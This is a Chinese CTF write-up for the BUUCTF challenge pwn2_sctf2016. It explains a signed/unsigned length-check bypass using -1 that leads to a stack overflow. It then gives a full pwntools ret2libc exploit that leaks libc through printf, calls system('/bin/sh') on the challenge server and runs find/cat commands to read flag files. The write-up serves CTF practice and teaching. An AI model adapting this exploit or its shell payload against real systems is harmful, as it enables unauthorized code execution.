BUUCTF pwn2_sctf2016

本题难点:绕过字符串大小限制以及是否掌握了ret2libc。

1.Checksec & IDA Pro

主要关注 vuln、main函数

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}

 vuln函数

int vuln()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n((int)nptr, 4u);
  v2 = atoi(nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n((int)nptr, v2);
  return printf("You said: %s\n", nptr);
}

 代码分析:

get_n 不是常规的get,get_n 是程序自定义的函数。

其中需要绕过字符串判断才能进行溢出。

if ( v2 > 32 )

为什么输入 -1 就能绕过长度判断呢?

因为 get_n 中,v2 是unsigned int

get_n((int)nptr, v2);

而 vuln 中,v2是 int  

存在整数溢出,可以通过输入负数来绕过长度32的限制

计算机内部,当表示有符号数字时,使用的是补码:当数字为正,符号位取0,其他位按照这个数字值来显示。为负,符号位取1,其他位对应正数值取反后加1。

当转换成unsigned 型时,计算机不再区分符号位,直接把二进制转换为十进制。那1还是1,-1就成了其他值。

栈溢出漏洞位于 nptr 中 

get_n((int)nptr, v2);

 知道如何绕过后,计算溢出字符数量:

到这步输入 -1 绕过大小判断

 

 

可得大小为 44 个字符

 

在IDA Pro中查看 ntpr 一样可以获得,但是少部分时间可能不准确。

因 Ubuntu 16 ,想起来之前BUUCTF给过 Ubuntu 16 的libc,因此本文不使用LibcSearcher。其实使用也没什么大问题。就是要多试几次罢了。

构造Payload:

使用 printf 进行libc地址查询

leak_plt = elf.plt['printf']
leak_got = elf.got['printf']
main_addr = elf.sym['main']

payload=( b'A' * ( 44 + 4 ) + p32(leak_plt) + p32(main_addr) + p32(leak_got) )

real_addr = u32(io.recv(4))

libcbase = real_addr - libc.symbols['printf']
system = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh'))

Payload_Shell

payload_shell = (b'A' * ( 44 + 4 ) + p32(system) + b'aaaa' + p32(bin_sh) )

 完整PoC

from pwn import * 
#from LibcSearcher import LibcSearcher
from LibcSearcherX import *
 
#io = process("/root/Desktop/PwnSubjects/pwn2_sctf_2016")
elf = ELF("/root/Desktop/PwnSubjects/pwn2_sctf_2016")
libc = ELF("/root/Desktop/PwnExploits/Libc/libc-2.23.so") 
io = remote("node4.buuoj.cn",25002)

leak_plt = elf.plt['printf']
leak_got = elf.got['printf']
main_addr = elf.sym['main']

context.log_level='debug'

# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")


io.recvuntil('How many bytes do you want me to read? ')
io.sendline('-1')
io.recvuntil('\n')
payload=( b'A' * ( 44 + 4 ) + p32(leak_plt) + p32(main_addr) + p32(leak_got) )
io.sendline(payload)
io.recvuntil('\n')
real_addr = u32(io.recv(4))

print("[+] Payload: \n",(payload))
print("[+] Leacked.")
print(("[+] Real Address: "),hex(real_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
 
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("printf",real_addr)
#libcbase = real_addr - libc.dump('printf')
#system = libcbase + libc.dump('system')
#bin_sh = libcbase + libc.dump('str_bin_sh')

#libc = LibcSearcherLocal("printf",real_addr)
#libcbase = real_addr - libc.sym['printf']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']

libcbase = real_addr - libc.symbols['printf']
system = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh'))
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
 
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(real_addr))
print("[+] Base Address: ",hex(real_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
 
# 阶段4 获取shell
io.recvuntil('How many bytes do you want me to read? ')
io.sendline('-1')
io.recvuntil('\n')

payload_shell = (b'A' * ( 44 + 4 ) + p32(system) + b'aaaa' + p32(bin_sh) )

io.sendline(payload_shell)

print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline(b"find '/flag' -exec cat {} \;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()

成功获取flag

PoC原理解析:

绕过字符串大小检测 ---> 溢出 ---> 泄露函数 printf 的plt表地址 ---> 通过后3位在libc文件中查询有相同后3位的libc ---> 计算偏移地址得到基址 ---> 通过基址得到 system、/bin/sh ---> getshell

不知道为什么这套本地打不通,可能是我的系统问题。 

Payload_Shell 中,b'AAAA' 替换成任何一个长度为4的字符串都行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值